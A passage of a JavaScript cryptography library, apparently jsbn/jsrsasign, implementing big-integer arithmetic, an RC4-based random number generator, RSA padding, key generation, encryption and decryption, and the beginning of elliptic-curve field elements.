            }
            if ((f & 128) != 0) {
                f |= -256
            }
            if (a == 0 && (this.s & 128) != (f & 128)) {
                ++a
            }
            if (a > 0 || f != this.s) {
                c[a++] = f
            }
        }
    }
    return c
}

function bnEquals(b) {
    return (this.compareTo(b) == 0)
}

function bnMin(b) {
    return (this.compareTo(b) < 0) ? this : b
}

function bnMax(b) {
    return (this.compareTo(b) > 0) ? this : b
}

function bnpBitwiseTo(c, h, e) {
    var d, g, b = Math.min(c.t, this.t);
    for (d = 0; d < b; ++d) {
        e[d] = h(this[d], c[d])
    }
    if (c.t < this.t) {
        g = c.s & this.DM;
        for (d = b; d < this.t; ++d) {
            e[d] = h(this[d], g)
        }
        e.t = this.t
    } else {
        g = this.s & this.DM;
        for (d = b; d < c.t; ++d) {
            e[d] = h(g, c[d])
        }
        e.t = c.t
    }
    e.s = h(this.s, c.s);
    e.clamp()
}

function op_and(a, b) {
    return a & b
}

function bnAnd(b) {
    var c = nbi();
    this.bitwiseTo(b, op_and, c);
    return c
}

function op_or(a, b) {
    return a | b
}

function bnOr(b) {
    var c = nbi();
    this.bitwiseTo(b, op_or, c);
    return c
}

function op_xor(a, b) {
    return a ^ b
}

function bnXor(b) {
    var c = nbi();
    this.bitwiseTo(b, op_xor, c);
    return c
}

function op_andnot(a, b) {
    return a & ~b
}

function bnAndNot(b) {
    var c = nbi();
    this.bitwiseTo(b, op_andnot, c);
    return c
}

function bnNot() {
    var b = nbi();
    for (var a = 0; a < this.t; ++a) {
        b[a] = this.DM & ~this[a]
    }
    b.t = this.t;
    b.s = ~this.s;
    return b
}

function bnShiftLeft(b) {
    var a = nbi();
    if (b < 0) {
        this.rShiftTo(-b, a)
    } else {
        this.lShiftTo(b, a)
    }
    return a
}

function bnShiftRight(b) {
    var a = nbi();
    if (b < 0) {
        this.lShiftTo(-b, a)
    } else {
        this.rShiftTo(b, a)
    }
    return a
}

function lbit(a) {
    if (a == 0) {
        return -1
    }
    var b = 0;
    if ((a & 65535) == 0) {
        a >>= 16;
        b += 16
    }
    if ((a & 255) == 0) {
        a >>= 8;
        b += 8
    }
    if ((a & 15) == 0) {
        a >>= 4;
        b += 4
    }
    if ((a & 3) == 0) {
        a >>= 2;
        b += 2
    }
    if ((a & 1) == 0) {
        ++b
    }
    return b
}

function bnGetLowestSetBit() {
    for (var a = 0; a < this.t; ++a) {
        if (this[a] != 0) {
            return a * this.DB + lbit(this[a])
        }
    }
    if (this.s < 0) {
        return this.t * this.DB
    }
    return -1
}

function cbit(a) {
    var b = 0;
    while (a != 0) {
        a &= a - 1;
        ++b
    }
    return b
}

function bnBitCount() {
    var c = 0,
        a = this.s & this.DM;
    for (var b = 0; b < this.t; ++b) {
        c += cbit(this[b] ^ a)
    }
    return c
}

function bnTestBit(b) {
    var a = Math.floor(b / this.DB);
    if (a >= this.t) {
        return (this.s != 0)
    }
    return ((this[a] & (1 << (b % this.DB))) != 0)
}

function bnpChangeBit(c, b) {
    var a = BigInteger.ONE.shiftLeft(c);
    this.bitwiseTo(a, b, a);
    return a
}

function bnSetBit(a) {
    return this.changeBit(a, op_or)
}

function bnClearBit(a) {
    return this.changeBit(a, op_andnot)
}

function bnFlipBit(a) {
    return this.changeBit(a, op_xor)
}

function bnpAddTo(d, f) {
    var e = 0,
        g = 0,
        b = Math.min(d.t, this.t);
    while (e < b) {
        g += this[e] + d[e];
        f[e++] = g & this.DM;
        g >>= this.DB
    }
    if (d.t < this.t) {
        g += d.s;
        while (e < this.t) {
            g += this[e];
            f[e++] = g & this.DM;
            g >>= this.DB
        }
        g += this.s
    } else {
        g += this.s;
        while (e < d.t) {
            g += d[e];
            f[e++] = g & this.DM;
            g >>= this.DB
        }
        g += d.s
    }
    f.s = (g < 0) ? -1 : 0;
    if (g > 0) {
        f[e++] = g
    } else {
        if (g < -1) {
            f[e++] = this.DV + g
        }
    }
    f.t = e;
    f.clamp()
}

function bnAdd(b) {
    var c = nbi();
    this.addTo(b, c);
    return c
}

function bnSubtract(b) {
    var c = nbi();
    this.subTo(b, c);
    return c
}

function bnMultiply(b) {
    var c = nbi();
    this.multiplyTo(b, c);
    return c
}

function bnSquare() {
    var a = nbi();
    this.squareTo(a);
    return a
}

function bnDivide(b) {
    var c = nbi();
    this.divRemTo(b, c, null);
    return c
}

function bnRemainder(b) {
    var c = nbi();
    this.divRemTo(b, null, c);
    return c
}

function bnDivideAndRemainder(b) {
    var d = nbi(),
        c = nbi();
    this.divRemTo(b, d, c);
    return new Array(d, c)
}

function bnpDMultiply(a) {
    this[this.t] = this.am(0, a - 1, this, 0, 0, this.t);
    ++this.t;
    this.clamp()
}

function bnpDAddOffset(b, a) {
    if (b == 0) {
        return
    }
    while (this.t <= a) {
        this[this.t++] = 0
    }
    this[a] += b;
    while (this[a] >= this.DV) {
        this[a] -= this.DV;
        if (++a >= this.t) {
            this[this.t++] = 0
        }++this[a]
    }
}

function NullExp() {}

function nNop(a) {
    return a
}

function nMulTo(a, c, b) {
    a.multiplyTo(c, b)
}

function nSqrTo(a, b) {
    a.squareTo(b)
}
NullExp.prototype.convert = nNop;
NullExp.prototype.revert = nNop;
NullExp.prototype.mulTo = nMulTo;
NullExp.prototype.sqrTo = nSqrTo;

function bnPow(a) {
    return this.exp(a, new NullExp())
}

function bnpMultiplyLowerTo(b, f, e) {
    var d = Math.min(this.t + b.t, f);
    e.s = 0;
    e.t = d;
    while (d > 0) {
        e[--d] = 0
    }
    var c;
    for (c = e.t - this.t; d < c; ++d) {
        e[d + this.t] = this.am(0, b[d], e, d, 0, this.t)
    }
    for (c = Math.min(b.t, f); d < c; ++d) {
        this.am(0, b[d], e, d, 0, f - d)
    }
    e.clamp()
}

function bnpMultiplyUpperTo(b, e, d) {
    --e;
    var c = d.t = this.t + b.t - e;
    d.s = 0;
    while (--c >= 0) {
        d[c] = 0
    }
    for (c = Math.max(e - this.t, 0); c < b.t; ++c) {
        d[this.t + c - e] = this.am(e - c, b[c], d, 0, 0, this.t + c - e)
    }
    d.clamp();
    d.drShiftTo(1, d)
}

function Barrett(a) {
    this.r2 = nbi();
    this.q3 = nbi();
    BigInteger.ONE.dlShiftTo(2 * a.t, this.r2);
    this.mu = this.r2.divide(a);
    this.m = a
}

function barrettConvert(a) {
    if (a.s < 0 || a.t > 2 * this.m.t) {
        return a.mod(this.m)
    } else {
        if (a.compareTo(this.m) < 0) {
            return a
        } else {
            var b = nbi();
            a.copyTo(b);
            this.reduce(b);
            return b
        }
    }
}

function barrettRevert(a) {
    return a
}

function barrettReduce(a) {
    a.drShiftTo(this.m.t - 1, this.r2);
    if (a.t > this.m.t + 1) {
        a.t = this.m.t + 1;
        a.clamp()
    }
    this.mu.multiplyUpperTo(this.r2, this.m.t + 1, this.q3);
    this.m.multiplyLowerTo(this.q3, this.m.t + 1, this.r2);
    while (a.compareTo(this.r2) < 0) {
        a.dAddOffset(1, this.m.t + 1)
    }
    a.subTo(this.r2, a);
    while (a.compareTo(this.m) >= 0) {
        a.subTo(this.m, a)
    }
}

function barrettSqrTo(a, b) {
    a.squareTo(b);
    this.reduce(b)
}

function barrettMulTo(a, c, b) {
    a.multiplyTo(c, b);
    this.reduce(b)
}
Barrett.prototype.convert = barrettConvert;
Barrett.prototype.revert = barrettRevert;
Barrett.prototype.reduce = barrettReduce;
Barrett.prototype.mulTo = barrettMulTo;
Barrett.prototype.sqrTo = barrettSqrTo;

function bnModPow(q, f) {
    var o = q.bitLength(),
        h, b = nbv(1),
        v;
    if (o <= 0) {
        return b
    } else {
        if (o < 18) {
            h = 1
        } else {
            if (o < 48) {
                h = 3
            } else {
                if (o < 144) {
                    h = 4
                } else {
                    if (o < 768) {
                        h = 5
                    } else {
                        h = 6
                    }
                }
            }
        }
    }
    if (o < 8) {
        v = new Classic(f)
    } else {
        if (f.isEven()) {
            v = new Barrett(f)
        } else {
            v = new Montgomery(f)
        }
    }
    var p = new Array(),
        d = 3,
        s = h - 1,
        a = (1 << h) - 1;
    p[1] = v.convert(this);
    if (h > 1) {
        var A = nbi();
        v.sqrTo(p[1], A);
        while (d <= a) {
            p[d] = nbi();
            v.mulTo(A, p[d - 2], p[d]);
            d += 2
        }
    }
    var l = q.t - 1,
        x, u = true,
        c = nbi(),
        y;
    o = nbits(q[l]) - 1;
    while (l >= 0) {
        if (o >= s) {
            x = (q[l] >> (o - s)) & a
        } else {
            x = (q[l] & ((1 << (o + 1)) - 1)) << (s - o);
            if (l > 0) {
                x |= q[l - 1] >> (this.DB + o - s)
            }
        }
        d = h;
        while ((x & 1) == 0) {
            x >>= 1;
            --d
        }
        if ((o -= d) < 0) {
            o += this.DB;
            --l
        }
        if (u) {
            p[x].copyTo(b);
            u = false
        } else {
            while (d > 1) {
                v.sqrTo(b, c);
                v.sqrTo(c, b);
                d -= 2
            }
            if (d > 0) {
                v.sqrTo(b, c)
            } else {
                y = b;
                b = c;
                c = y
            }
            v.mulTo(c, p[x], b)
        }
        while (l >= 0 && (q[l] & (1 << o)) == 0) {
            v.sqrTo(b, c);
            y = b;
            b = c;
            c = y;
            if (--o < 0) {
                o = this.DB - 1;
                --l
            }
        }
    }
    return v.revert(b)
}

function bnGCD(c) {
    var b = (this.s < 0) ? this.negate() : this.clone();
    var h = (c.s < 0) ? c.negate() : c.clone();
    if (b.compareTo(h) < 0) {
        var e = b;
        b = h;
        h = e
    }
    var d = b.getLowestSetBit(),
        f = h.getLowestSetBit();
    if (f < 0) {
        return b
    }
    if (d < f) {
        f = d
    }
    if (f > 0) {
        b.rShiftTo(f, b);
        h.rShiftTo(f, h)
    }
    while (b.signum() > 0) {
        if ((d = b.getLowestSetBit()) > 0) {
            b.rShiftTo(d, b)
        }
        if ((d = h.getLowestSetBit()) > 0) {
            h.rShiftTo(d, h)
        }
        if (b.compareTo(h) >= 0) {
            b.subTo(h, b);
            b.rShiftTo(1, b)
        } else {
            h.subTo(b, h);
            h.rShiftTo(1, h)
        }
    }
    if (f > 0) {
        h.lShiftTo(f, h)
    }
    return h
}

function bnpModInt(e) {
    if (e <= 0) {
        return 0
    }
    var c = this.DV % e,
        b = (this.s < 0) ? e - 1 : 0;
    if (this.t > 0) {
        if (c == 0) {
            b = this[0] % e
        } else {
            for (var a = this.t - 1; a >= 0; --a) {
                b = (c * b + this[a]) % e
            }
        }
    }
    return b
}

function bnModInverse(f) {
    var j = f.isEven();
    if ((this.isEven() && j) || f.signum() == 0) {
        return BigInteger.ZERO
    }
    var i = f.clone(),
        h = this.clone();
    var g = nbv(1),
        e = nbv(0),
        l = nbv(0),
        k = nbv(1);
    while (i.signum() != 0) {
        while (i.isEven()) {
            i.rShiftTo(1, i);
            if (j) {
                if (!g.isEven() || !e.isEven()) {
                    g.addTo(this, g);
                    e.subTo(f, e)
                }
                g.rShiftTo(1, g)
            } else {
                if (!e.isEven()) {
                    e.subTo(f, e)
                }
            }
            e.rShiftTo(1, e)
        }
        while (h.isEven()) {
            h.rShiftTo(1, h);
            if (j) {
                if (!l.isEven() || !k.isEven()) {
                    l.addTo(this, l);
                    k.subTo(f, k)
                }
                l.rShiftTo(1, l)
            } else {
                if (!k.isEven()) {
                    k.subTo(f, k)
                }
            }
            k.rShiftTo(1, k)
        }
        if (i.compareTo(h) >= 0) {
            i.subTo(h, i);
            if (j) {
                g.subTo(l, g)
            }
            e.subTo(k, e)
        } else {
            h.subTo(i, h);
            if (j) {
                l.subTo(g, l)
            }
            k.subTo(e, k)
        }
    }
    if (h.compareTo(BigInteger.ONE) != 0) {
        return BigInteger.ZERO
    }
    if (k.compareTo(f) >= 0) {
        return k.subtract(f)
    }
    if (k.signum() < 0) {
        k.addTo(f, k)
    } else {
        return k
    }
    if (k.signum() < 0) {
        return k.add(f)
    } else {
        return k
    }
}
var lowprimes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997];
var lplim = (1 << 26) / lowprimes[lowprimes.length - 1];

function bnIsProbablePrime(e) {
    var d, b = this.abs();
    if (b.t == 1 && b[0] <= lowprimes[lowprimes.length - 1]) {
        for (d = 0; d < lowprimes.length; ++d) {
            if (b[0] == lowprimes[d]) {
                return true
            }
        }
        return false
    }
    if (b.isEven()) {
        return false
    }
    d = 1;
    while (d < lowprimes.length) {
        var a = lowprimes[d],
            c = d + 1;
        while (c < lowprimes.length && a < lplim) {
            a *= lowprimes[c++]
        }
        a = b.modInt(a);
        while (d < c) {
            if (a % lowprimes[d++] == 0) {
                return false
            }
        }
    }
    return b.millerRabin(e)
}

function bnpMillerRabin(f) {
    var g = this.subtract(BigInteger.ONE);
    var c = g.getLowestSetBit();
    if (c <= 0) {
        return false
    }
    var h = g.shiftRight(c);
    f = (f + 1) >> 1;
    if (f > lowprimes.length) {
        f = lowprimes.length
    }
    var b = nbi();
    for (var e = 0; e < f; ++e) {
        b.fromInt(lowprimes[Math.floor(Math.random() * lowprimes.length)]);
        var l = b.modPow(h, this);
        if (l.compareTo(BigInteger.ONE) != 0 && l.compareTo(g) != 0) {
            var d = 1;
            while (d++ < c && l.compareTo(g) != 0) {
                l = l.modPowInt(2, this);
                if (l.compareTo(BigInteger.ONE) == 0) {
                    return false
                }
            }
            if (l.compareTo(g) != 0) {
                return false
            }
        }
    }
    return true
}
BigInteger.prototype.chunkSize = bnpChunkSize;
BigInteger.prototype.toRadix = bnpToRadix;
BigInteger.prototype.fromRadix = bnpFromRadix;
BigInteger.prototype.fromNumber = bnpFromNumber;
BigInteger.prototype.bitwiseTo = bnpBitwiseTo;
BigInteger.prototype.changeBit = bnpChangeBit;
BigInteger.prototype.addTo = bnpAddTo;
BigInteger.prototype.dMultiply = bnpDMultiply;
BigInteger.prototype.dAddOffset = bnpDAddOffset;
BigInteger.prototype.multiplyLowerTo = bnpMultiplyLowerTo;
BigInteger.prototype.multiplyUpperTo = bnpMultiplyUpperTo;
BigInteger.prototype.modInt = bnpModInt;
BigInteger.prototype.millerRabin = bnpMillerRabin;
BigInteger.prototype.clone = bnClone;
BigInteger.prototype.intValue = bnIntValue;
BigInteger.prototype.byteValue = bnByteValue;
BigInteger.prototype.shortValue = bnShortValue;
BigInteger.prototype.signum = bnSigNum;
BigInteger.prototype.toByteArray = bnToByteArray;
BigInteger.prototype.equals = bnEquals;
BigInteger.prototype.min = bnMin;
BigInteger.prototype.max = bnMax;
BigInteger.prototype.and = bnAnd;
BigInteger.prototype.or = bnOr;
BigInteger.prototype.xor = bnXor;
BigInteger.prototype.andNot = bnAndNot;
BigInteger.prototype.not = bnNot;
BigInteger.prototype.shiftLeft = bnShiftLeft;
BigInteger.prototype.shiftRight = bnShiftRight;
BigInteger.prototype.getLowestSetBit = bnGetLowestSetBit;
BigInteger.prototype.bitCount = bnBitCount;
BigInteger.prototype.testBit = bnTestBit;
BigInteger.prototype.setBit = bnSetBit;
BigInteger.prototype.clearBit = bnClearBit;
BigInteger.prototype.flipBit = bnFlipBit;
BigInteger.prototype.add = bnAdd;
BigInteger.prototype.subtract = bnSubtract;
BigInteger.prototype.multiply = bnMultiply;
BigInteger.prototype.divide = bnDivide;
BigInteger.prototype.remainder = bnRemainder;
BigInteger.prototype.divideAndRemainder = bnDivideAndRemainder;
BigInteger.prototype.modPow = bnModPow;
BigInteger.prototype.modInverse = bnModInverse;
BigInteger.prototype.pow = bnPow;
BigInteger.prototype.gcd = bnGCD;
BigInteger.prototype.isProbablePrime = bnIsProbablePrime;
BigInteger.prototype.square = bnSquare;

function Arcfour() {
    this.i = 0;
    this.j = 0;
    this.S = new Array()
}

function ARC4init(d) {
    var c, a, b;
    for (c = 0; c < 256; ++c) {
        this.S[c] = c
    }
    a = 0;
    for (c = 0; c < 256; ++c) {
        a = (a + this.S[c] + d[c % d.length]) & 255;
        b = this.S[c];
        this.S[c] = this.S[a];
        this.S[a] = b
    }
    this.i = 0;
    this.j = 0
}

function ARC4next() {
    var a;
    this.i = (this.i + 1) & 255;
    this.j = (this.j + this.S[this.i]) & 255;
    a = this.S[this.i];
    this.S[this.i] = this.S[this.j];
    this.S[this.j] = a;
    return this.S[(a + this.S[this.i]) & 255]
}
Arcfour.prototype.init = ARC4init;
Arcfour.prototype.next = ARC4next;

function prng_newstate() {
    return new Arcfour()
}
var rng_psize = 256;
var rng_state;
var rng_pool;
var rng_pptr;

function rng_seed_int(a) {
    rng_pool[rng_pptr++] ^= a & 255;
    rng_pool[rng_pptr++] ^= (a >> 8) & 255;
    rng_pool[rng_pptr++] ^= (a >> 16) & 255;
    rng_pool[rng_pptr++] ^= (a >> 24) & 255;
    if (rng_pptr >= rng_psize) {
        rng_pptr -= rng_psize
    }
}

function rng_seed_time() {
    rng_seed_int(new Date().getTime())
}
if (rng_pool == null) {
    rng_pool = new Array();
    rng_pptr = 0;
    var t;
    if (window !== undefined && (window.crypto !== undefined || window.msCrypto !== undefined)) {
        var crypto = window.crypto || window.msCrypto;
        if (crypto.getRandomValues) {
            var ua = new Uint8Array(32);
            crypto.getRandomValues(ua);
            for (t = 0; t < 32; ++t) {
                rng_pool[rng_pptr++] = ua[t]
            }
        } else {
            if (navigator.appName == "Netscape" && navigator.appVersion < "5") {
                var z = window.crypto.random(32);
                for (t = 0; t < z.length; ++t) {
                    rng_pool[rng_pptr++] = z.charCodeAt(t) & 255
                }
            }
        }
    }
    while (rng_pptr < rng_psize) {
        t = Math.floor(65536 * Math.random());
        rng_pool[rng_pptr++] = t >>> 8;
        rng_pool[rng_pptr++] = t & 255
    }
    rng_pptr = 0;
    rng_seed_time()
}

function rng_get_byte() {
    if (rng_state == null) {
        rng_seed_time();
        rng_state = prng_newstate();
        rng_state.init(rng_pool);
        for (rng_pptr = 0; rng_pptr < rng_pool.length; ++rng_pptr) {
            rng_pool[rng_pptr] = 0
        }
        rng_pptr = 0
    }
    return rng_state.next()
}

function rng_get_bytes(b) {
    var a;
    for (a = 0; a < b.length; ++a) {
        b[a] = rng_get_byte()
    }
}

function SecureRandom() {}
SecureRandom.prototype.nextBytes = rng_get_bytes;

function parseBigInt(b, a) {
    return new BigInteger(b, a)
}

function linebrk(c, d) {
    var a = "";
    var b = 0;
    while (b + d < c.length) {
        a += c.substring(b, b + d) + "\n";
        b += d
    }
    return a + c.substring(b, c.length)
}

function byte2Hex(a) {
    if (a < 16) {
        return "0" + a.toString(16)
    } else {
        return a.toString(16)
    }
}

function pkcs1pad2(e, h) {
    if (h < e.length + 11) {
        throw "Message too long for RSA";
        return null
    }
    var g = new Array();
    var d = e.length - 1;
    while (d >= 0 && h > 0) {
        var f = e.charCodeAt(d--);
        if (f < 128) {
            g[--h] = f
        } else {
            if ((f > 127) && (f < 2048)) {
                g[--h] = (f & 63) | 128;
                g[--h] = (f >> 6) | 192
            } else {
                g[--h] = (f & 63) | 128;
                g[--h] = ((f >> 6) & 63) | 128;
                g[--h] = (f >> 12) | 224
            }
        }
    }
    g[--h] = 0;
    var b = new SecureRandom();
    var a = new Array();
    while (h > 2) {
        a[0] = 0;
        while (a[0] == 0) {
            b.nextBytes(a)
        }
        g[--h] = a[0]
    }
    g[--h] = 2;
    g[--h] = 0;
    return new BigInteger(g)
}

function oaep_mgf1_arr(c, a, e) {
    var b = "",
        d = 0;
    while (b.length < a) {
        b += e(String.fromCharCode.apply(String, c.concat([(d & 4278190080) >> 24, (d & 16711680) >> 16, (d & 65280) >> 8, d & 255])));
        d += 1
    }
    return b
}

function oaep_pad(q, a, f, l) {
    var c = KJUR.crypto.MessageDigest;
    var o = KJUR.crypto.Util;
    var b = null;
    if (!f) {
        f = "sha1"
    }
    if (typeof f === "string") {
        b = c.getCanonicalAlgName(f);
        l = c.getHashLength(b);
        f = function(i) {
            return hextorstr(o.hashString(i, b))
        }
    }
    if (q.length + 2 * l + 2 > a) {
        throw "Message too long for RSA"
    }
    var k = "",
        e;
    for (e = 0; e < a - q.length - 2 * l - 2; e += 1) {
        k += "\x00"
    }
    var h = f("") + k + "\x01" + q;
    var g = new Array(l);
    new SecureRandom().nextBytes(g);
    var j = oaep_mgf1_arr(g, h.length, f);
    var p = [];
    for (e = 0; e < h.length; e += 1) {
        p[e] = h.charCodeAt(e) ^ j.charCodeAt(e)
    }
    var m = oaep_mgf1_arr(p, g.length, f);
    var d = [0];
    for (e = 0; e < g.length; e += 1) {
        d[e + 1] = g[e] ^ m.charCodeAt(e)
    }
    return new BigInteger(d.concat(p))
}

function RSAKey() {
    this.n = null;
    this.e = 0;
    this.d = null;
    this.p = null;
    this.q = null;
    this.dmp1 = null;
    this.dmq1 = null;
    this.coeff = null
}

function RSASetPublic(b, a) {
    this.isPublic = true;
    this.isPrivate = false;
    if (typeof b !== "string") {
        this.n = b;
        this.e = a
    } else {
        if (b != null && a != null && b.length > 0 && a.length > 0) {
            this.n = parseBigInt(b, 16);
            this.e = parseInt(a, 16)
        } else {
            throw "Invalid RSA public key"
        }
    }
}

function RSADoPublic(a) {
    return a.modPowInt(this.e, this.n)
}

function RSAEncrypt(d) {
    var a = pkcs1pad2(d, (this.n.bitLength() + 7) >> 3);
    if (a == null) {
        return null
    }
    var e = this.doPublic(a);
    if (e == null) {
        return null
    }
    var b = e.toString(16);
    if ((b.length & 1) == 0) {
        return b
    } else {
        return "0" + b
    }
}

function RSAEncryptOAEP(f, e, b) {
    var a = oaep_pad(f, (this.n.bitLength() + 7) >> 3, e, b);
    if (a == null) {
        return null
    }
    var g = this.doPublic(a);
    if (g == null) {
        return null
    }
    var d = g.toString(16);
    if ((d.length & 1) == 0) {
        return d
    } else {
        return "0" + d
    }
}
RSAKey.prototype.doPublic = RSADoPublic;
RSAKey.prototype.setPublic = RSASetPublic;
RSAKey.prototype.encrypt = RSAEncrypt;
RSAKey.prototype.encryptOAEP = RSAEncryptOAEP;
RSAKey.prototype.type = "RSA";

function pkcs1unpad2(g, j) {
    var a = g.toByteArray();
    var f = 0;
    while (f < a.length && a[f] == 0) {
        ++f
    }
    if (a.length - f != j - 1 || a[f] != 2) {
        return null
    }++f;
    while (a[f] != 0) {
        if (++f >= a.length) {
            return null
        }
    }
    var e = "";
    while (++f < a.length) {
        var h = a[f] & 255;
        if (h < 128) {
            e += String.fromCharCode(h)
        } else {
            if ((h > 191) && (h < 224)) {
                e += String.fromCharCode(((h & 31) << 6) | (a[f + 1] & 63));
                ++f
            } else {
                e += String.fromCharCode(((h & 15) << 12) | ((a[f + 1] & 63) << 6) | (a[f + 2] & 63));
                f += 2
            }
        }
    }
    return e
}

function oaep_mgf1_str(c, a, e) {
    var b = "",
        d = 0;
    while (b.length < a) {
        b += e(c + String.fromCharCode.apply(String, [(d & 4278190080) >> 24, (d & 16711680) >> 16, (d & 65280) >> 8, d & 255]));
        d += 1
    }
    return b
}

function oaep_unpad(o, b, g, p) {
    var e = KJUR.crypto.MessageDigest;
    var r = KJUR.crypto.Util;
    var c = null;
    if (!g) {
        g = "sha1"
    }
    if (typeof g === "string") {
        c = e.getCanonicalAlgName(g);
        p = e.getHashLength(c);
        g = function(d) {
            return hextorstr(r.hashString(d, c))
        }
    }
    o = o.toByteArray();
    var h;
    for (h = 0; h < o.length; h += 1) {
        o[h] &= 255
    }
    while (o.length < b) {
        o.unshift(0)
    }
    o = String.fromCharCode.apply(String, o);
    if (o.length < 2 * p + 2) {
        throw "Cipher too short"
    }
    var f = o.substr(1, p);
    var s = o.substr(p + 1);
    var q = oaep_mgf1_str(s, p, g);
    var k = [],
        h;
    for (h = 0; h < f.length; h += 1) {
        k[h] = f.charCodeAt(h) ^ q.charCodeAt(h)
    }
    var l = oaep_mgf1_str(String.fromCharCode.apply(String, k), o.length - p, g);
    var j = [];
    for (h = 0; h < s.length; h += 1) {
        j[h] = s.charCodeAt(h) ^ l.charCodeAt(h)
    }
    j = String.fromCharCode.apply(String, j);
    if (j.substr(0, p) !== g("")) {
        throw "Hash mismatch"
    }
    j = j.substr(p);
    var a = j.indexOf("\x01");
    var m = (a != -1) ? j.substr(0, a).lastIndexOf("\x00") : -1;
    if (m + 1 != a) {
        throw "Malformed data"
    }
    return j.substr(a + 1)
}

function RSASetPrivate(c, a, b) {
    this.isPrivate = true;
    if (typeof c !== "string") {
        this.n = c;
        this.e = a;
        this.d = b
    } else {
        if (c != null && a != null && c.length > 0 && a.length > 0) {
            this.n = parseBigInt(c, 16);
            this.e = parseInt(a, 16);
            this.d = parseBigInt(b, 16)
        } else {
            throw "Invalid RSA private key"
        }
    }
}

function RSASetPrivateEx(g, d, e, c, b, a, h, f) {
    this.isPrivate = true;
    this.isPublic = false;
    if (g == null) {
        throw "RSASetPrivateEx N ==null"
    }
    if (d == null) {
        throw "RSASetPrivateEx E ==null"
    }
    if (g.length == 0) {
        throw "RSASetPrivateEx N.length ==0"
    }
    if (d.length == 0) {
        throw "RSASetPrivateEx E.length ==0"
    }
    if (g != null && d != null && g.length > 0 && d.length > 0) {
        this.n = parseBigInt(g, 16);
        this.e = parseInt(d, 16);
        this.d = parseBigInt(e, 16);
        this.p = parseBigInt(c, 16);
        this.q = parseBigInt(b, 16);
        this.dmp1 = parseBigInt(a, 16);
        this.dmq1 = parseBigInt(h, 16);
        this.coeff = parseBigInt(f, 16)
    } else {
        throw "Invalid RSA private key in RSASetPrivateEx"
    }
}

function RSAGenerate(b, i) {
    var a = new SecureRandom();
    var f = b >> 1;
    this.e = parseInt(i, 16);
    var c = new BigInteger(i, 16);
    for (;;) {
        for (;;) {
            this.p = new BigInteger(b - f, 1, a);
            if (this.p.subtract(BigInteger.ONE).gcd(c).compareTo(BigInteger.ONE) == 0 && this.p.isProbablePrime(10)) {
                break
            }
        }
        for (;;) {
            this.q = new BigInteger(f, 1, a);
            if (this.q.subtract(BigInteger.ONE).gcd(c).compareTo(BigInteger.ONE) == 0 && this.q.isProbablePrime(10)) {
                break
            }
        }
        if (this.p.compareTo(this.q) <= 0) {
            var h = this.p;
            this.p = this.q;
            this.q = h
        }
        var g = this.p.subtract(BigInteger.ONE);
        var d = this.q.subtract(BigInteger.ONE);
        var e = g.multiply(d);
        if (e.gcd(c).compareTo(BigInteger.ONE) == 0) {
            this.n = this.p.multiply(this.q);
            this.d = c.modInverse(e);
            this.dmp1 = this.d.mod(g);
            this.dmq1 = this.d.mod(d);
            this.coeff = this.q.modInverse(this.p);
            break
        }
    }
    this.isPrivate = true
}

function RSADoPrivate(a) {
    if (this.p == null || this.q == null) {
        return a.modPow(this.d, this.n)
    }
    var c = a.mod(this.p).modPow(this.dmp1, this.p);
    var b = a.mod(this.q).modPow(this.dmq1, this.q);
    while (c.compareTo(b) < 0) {
        c = c.add(this.p)
    }
    return c.subtract(b).multiply(this.coeff).mod(this.p).multiply(this.q).add(b)
}

function RSADecrypt(b) {
    var d = parseBigInt(b, 16);
    var a = this.doPrivate(d);
    if (a == null) {
        return null
    }
    return pkcs1unpad2(a, (this.n.bitLength() + 7) >> 3)
}

function RSADecryptOAEP(e, d, b) {
    var f = parseBigInt(e, 16);
    var a = this.doPrivate(f);
    if (a == null) {
        return null
    }
    return oaep_unpad(a, (this.n.bitLength() + 7) >> 3, d, b)
}
RSAKey.prototype.doPrivate = RSADoPrivate;
RSAKey.prototype.setPrivate = RSASetPrivate;
RSAKey.prototype.setPrivateEx = RSASetPrivateEx;
RSAKey.prototype.generate = RSAGenerate;
RSAKey.prototype.decrypt = RSADecrypt;
RSAKey.prototype.decryptOAEP = RSADecryptOAEP;

function ECFieldElementFp(b, a) {
    this.x = a;
    this.q = b
}

function feFpEquals(a) {
    if (a == this) {
        return true
    }
    return (this.q.equals(a.q) && this.x.equals(a.x))
}

function feFpToBigInteger() {
    return this.x
}

function feFpNegate() {
    return new ECFieldElementFp(this.q, this.x.negate().mod(this.q))
}

function feFpAdd(a) {
    return new ECFieldElementFp(this.q, this.x.add(a.toBigInteger()).mod(this.q))
}

function feFpSubtract(a) {
    return new ECFieldElementFp(this.q, this.x.subtract(a.toBigInteger()).mod(this.q))
}

function feFpMultiply(a) {
    return new ECFieldElementFp(this.q, this.x.multiply(a.toBigInteger()).mod(this.q))
}

function feFpSquare() {
    return new ECFieldElementFp(this.q, this.x.square().mod(this.q))
}

function feFpDivide(a) {
    return new ECFieldElementFp(this.q, this.x.multiply(a.toBigInteger().modInverse(this.q)).mod(this.q))
}
ECFieldElementFp.prototype.equals = feFpEquals;
ECFieldElementFp.prototype.toBigInteger = feFpToBigInteger;
ECFieldElementFp.prototype.negate = feFpNegate;
ECFieldElementFp.prototype.add = feFpAdd;
ECFieldElementFp.prototype.subtract = feFpSubtract;
ECFieldElementFp.prototype.multiply = feFpMultiply;
ECFieldElementFp.prototype.square = feFpSquare;
ECFieldElementFp.prototype.divide = feFpDivide;

function ECPointFp(c, a, d, b) {
    this.curve = c;
    this.x = a;
    this.y = d;
    if (b == null) {
        this.z = BigInteger.ONE
    } else {
        this.z = b
    }
    this.zinv = null
}

function pointFpGetX() {
    if (this.zinv == null) {
